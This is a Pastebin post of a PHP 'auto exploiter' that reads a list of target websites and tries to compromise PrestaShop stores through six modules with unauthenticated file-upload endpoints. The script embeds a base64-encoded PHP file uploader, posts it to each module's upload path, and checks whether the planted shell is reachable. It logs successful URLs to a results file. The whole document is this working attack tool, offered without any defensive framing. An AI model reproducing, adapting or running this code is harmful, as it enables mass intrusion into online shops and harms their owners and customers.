bonekcok21

6 Module Prestashop Auto Exploiter

Oct 16th, 2016
1,413
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.05 KB | None | 0 0
  1. <?php
  2. // Coded By ./MalingSendal - Trenggalek Cyber Army
  3. // Greetz : CowoKerensTeam & Sector Security Tester
  4. // Usage  : php presta.php list.txt
  5. error_reporting(0);
  6. set_time_limit(0);
  7.  
  8. if(!file_exists($argv[1])){
  9.   die('List Target Not Found !');
  10. }
  11. $get=file_get_contents($argv[1]);
  12. $ex=explode("\n",$get);
  13. $maling=file($argv[1]);
  14. date_default_timezone_set('Indonesia');
  15. $date = date('m/d/Y h:i:s a', time());
  16. echo"
  17.     ____________________________
  18.    !\_________________________/!\
  19.    !!                         !! \
  20.    !!                         !!  \
  21.    !!                         !!  !
  22.    !!   6 Modules Prestashop  !!  !
  23.    !!          Usage          !!  !
  24.    !! Php presta.php list.txt !!  !
  25.    !!                         !!  !
  26.    !!                         !!  /
  27.    !!_________________________!! /
  28.    !/_________________________\!/
  29.       __\_________________/__/!_
  30.      !_______________________!/ )
  31.    ________________________    (__
  32.   /oooo  oooo  oooo  oooo /!   _  )_
  33.  /ooooooooooooooooooooooo/ /  (_)_(_)
  34. /ooooooooooooooooooooooo/ /    (o o)
  35. /C=_____________________/_/    ==\o/==
  36. #######################################
  37. ####### Coded By ./MalingSendal #######
  38. ####### Php presta.php list.txt #######
  39. #######################################
  40. \n
  41. ";
  42. echo "   Start in : ".$date;
  43. echo"\n   Total ".count($maling)." Website\n\n";
  44.  
  45.  
  46.  
  47. foreach($maling as $sites){
  48.     // Ini file uploadernya
  49.     $maling = 'PD9waHANCiRmaWxlcyA9IEAkX0ZJTEVTWyJmaWxlcyJdOw0KaWYgKCRmaWxlc1sibmFtZSJdICE9ICcnKSB7DQokZnVsbHBhdGggPSAkX1JFUVVFU1RbInBhdGgiXSAuICRmaWxlc1sibmFtZSJdOw0KaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZXNbJ3RtcF9uYW1lJ10sICRmdWxscGF0aCkpIHsNCmVjaG8gIjxoMT48YSBocmVmPSckZnVsbHBhdGgnPi0+IENsaWNrIEhlcmUgVG8gR28gWW91ciBGaWxlIDwtPC9hPjwvaDE+IjsNCn0NCn1lY2hvICc8aHRtbD48aGVhZD48dGl0bGU+VXBsb2FkIGZpbGVzLi4uPC90aXRsZT48L2hlYWQ+PGJvZHk+PGZvcm0gbWV0aG9kPVBPU1QgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSIiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXRoPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlcyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJVcCI+PC9mb3JtPjwvYm9keT48L2h0bWw+JzsNCj8+';
  50.  
  51. $file = fopen("up.php" ,"w+"); // Nama file uploadernya
  52. $write = fwrite ($file ,base64_decode($maling));
  53.  
  54.    echo " \nScaning > $sites";
  55.    $sites=trim($sites);
  56.    //  Module Simpleslideshow
  57.     echo "\n\n       [1] Simpleslideshow";
  58.    $uploadfile="up.php";
  59.    $url = "/modules/simpleslideshow/uploadimage.php";
  60.    $url2 = "/modules/simpleslideshow/slides/up.php";
  61.    $ch = curl_init("$sites.$url");
  62.    curl_setopt($ch, CURLOPT_POST, true);
  63.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile"));
  64.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  65.     $postResult = curl_exec($ch);
  66.    curl_close($ch);
  67.  $get1=@file_get_contents($sites.$url2);
  68.     if(preg_match('#killer#',$get1)){
  69.     echo "\n\t $sites$url2";
  70.     $f = fopen("ResultShell.htm","a+");
  71.         fwrite ($f,$sites.$url2."<br>");
  72.         fclose($f);
  73.         } else {
  74.         echo "\n\t     Failed ";
  75.    
  76. }
  77.   //  Module Productpageadverts
  78.     echo "\n       [2] Productpageadverts";
  79.    $uploadfile2="up.php";
  80.    $url3 = "/modules/productpageadverts/uploadimage.php";
  81.    $url24 = "/modules/productpageadverts/slides/up.php";
  82.    $ch = curl_init("$sites.$url3");
  83.    curl_setopt($ch, CURLOPT_POST, true);
  84.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile2"));
  85.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  86.     $postResult = curl_exec($ch);
  87.     curl_close($ch);
  88.  $get12=@file_get_contents($sites.$url24);
  89.     if(preg_match('#killer#',$get12)){
  90.     echo "\n\t $sites$url24";
  91.     $f = fopen("ResultShell.htm","a+");
  92.         fwrite ($f,$sites.$url24."<br>");
  93.         fclose($f);
  94.         } else {
  95.         echo "\n\t     Failed";
  96.    
  97. }
  98.    // Modules Columnadverts
  99.     echo "\n       [3] Columnadverts";
  100.    $uploadfile23="up.php";
  101.    $url34 = "/modules/columnadverts/uploadimage.php";
  102.    $url245 = "/modules/columnadverts/slides/up.php";
  103.    $ch = curl_init("$sites.$url34");
  104.    curl_setopt($ch, CURLOPT_POST, true);
  105.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile23"));
  106.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  107.     $postResult = curl_exec($ch);
  108.     curl_close($ch);
  109.  $get123=@file_get_contents($sites.$url245);
  110.     if(preg_match('#killer#',$get123)){
  111.     echo "\n\t $sites$url245";
  112.     $f = fopen("ResultShell.htm","a+");
  113.         fwrite ($f,$sites.$url245."<br>");
  114.         fclose($f);
  115.         } else {
  116.         echo "\n\t     Failed";  
  117. }
  118.    // Modules Columnadverts 2
  119.     echo "\n       [3] Columnadverts 2";
  120.    $uploadfile23="up.php";
  121.    $url34 = "/modules/columnadverts2/uploadimage.php";
  122.    $url245 = "/modules/columnadverts2/slides/up.php";
  123.    $ch = curl_init("$sites.$url34");
  124.    curl_setopt($ch, CURLOPT_POST, true);
  125.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile23"));
  126.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  127.     $postResult = curl_exec($ch);
  128.     curl_close($ch);
  129.  $get123=@file_get_contents($sites.$url245);
  130.     if(preg_match('#killer#',$get123)){
  131.     echo "\n\t $sites$url245";
  132.     $f = fopen("ResultShell.htm","a+");
  133.         fwrite ($f,$sites.$url245."<br>");
  134.         fclose($f);
  135.         } else {
  136.         echo "\n\t     Failed";  
  137. }
  138.   // Modules Homepageadvertise
  139.       echo "\n       [4] Homepageadvertise";
  140.    $uploadfile234="up.php";
  141.    $url345 = "/modules/homepageadvertise/uploadimage.php";
  142.    $url2456 = "/modules/homepageadvertise/slides/up.php";
  143.    $ch = curl_init("$sites.$url345");
  144.    curl_setopt($ch, CURLOPT_POST, true);
  145.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile234"));
  146.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  147.     $postResult = curl_exec($ch);
  148.     curl_close($ch);
  149.  $get124=@file_get_contents($sites.$url2456);
  150.     if(preg_match('#killer#',$get124)){
  151.     echo "\n\t $sites$url2456";
  152.         $f = fopen("ResultShell.htm","a+");
  153.         fwrite ($f,$sites.$url2456."<br>");
  154.         fclose($f);
  155.         } else {
  156.         echo "\n\t     Failed";  
  157. }
  158.   // Modules Homepageadvertise 2
  159.       echo "\n       [4] Homepageadvertise 2";
  160.    $uploadfile234="up.php";
  161.    $url345 = "/modules/homepageadvertise2/uploadimage.php";
  162.    $url2456 = "/modules/homepageadvertise2/slides/up.php";
  163.    $ch = curl_init("$sites.$url345");
  164.    curl_setopt($ch, CURLOPT_POST, true);
  165.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile234"));
  166.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  167.     $postResult = curl_exec($ch);
  168.     curl_close($ch);
  169.  $get124=@file_get_contents($sites.$url2456);
  170.     if(preg_match('#killer#',$get124)){
  171.     echo "\n\t $sites$url2456";
  172.         $f = fopen("ResultShell.htm","a+");
  173.         fwrite ($f,$sites.$url2456."<br>");
  174.         fclose($f);
  175.         } else {
  176.         echo "\n\t     Failed";  
  177. }
  178.   // Modules Attributewizardpro
  179.       echo "\n       [5] Attributewizardpro";
  180.    $uploadfile2345="up.php";
  181.    $url3456 = "/modules/attributewizardpro/file_upload.php";
  182.    $url24567 = "/modules/attributewizardpro/file_uploads/up.php";
  183.    $ch = curl_init("$sites.$url3456");
  184.    curl_setopt($ch, CURLOPT_POST, true);
  185.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile2345"));
  186.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  187.     $postResult = curl_exec($ch);
  188.     curl_close($ch);
  189.  $get125=@file_get_contents($sites.$url24567);
  190.     if(preg_match('#killer#',$get125)){
  191.     echo "\n\t $sites$url24567";
  192.         $f = fopen("ResultShell.htm","a+");
  193.         fwrite ($f,$sites.$url24567."<br>");
  194.         fclose($f);
  195.         } else {
  196.         echo "\n\t     Failed";  
  197. }
  198.  // Modules Vtemslideshow
  199.      echo "\n       [6] Vtemslideshow";
  200.    $uploadfile2349="up.php";
  201.    $url3450 = "/modules/vtemslideshow/uploadimage.php";
  202.    $url24560 = "/modules/vtemslideshow/slides/up.php";
  203.    $ch = curl_init("$sites.$url3450");
  204.    curl_setopt($ch, CURLOPT_POST, true);
  205.    curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile2349"));
  206.    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  207.     $postResult = curl_exec($ch);
  208.     curl_close($ch);
  209.  $get1276=@file_get_contents($sites.$url24560);
  210.     if(preg_match('#killer#',$get1276)){
  211.     echo "\n\t $sites$url24560";
  212.             $f = fopen("ResultShell.htm","a+");
  213.         fwrite ($f,$sites.$url24560."<br>");
  214.         fclose($f);
  215.         } else {
  216.         echo "\n\t      Faileded \n";  
  217. } }
  218. ?>
Advertisement
Add Comment
Please, Sign In to add comment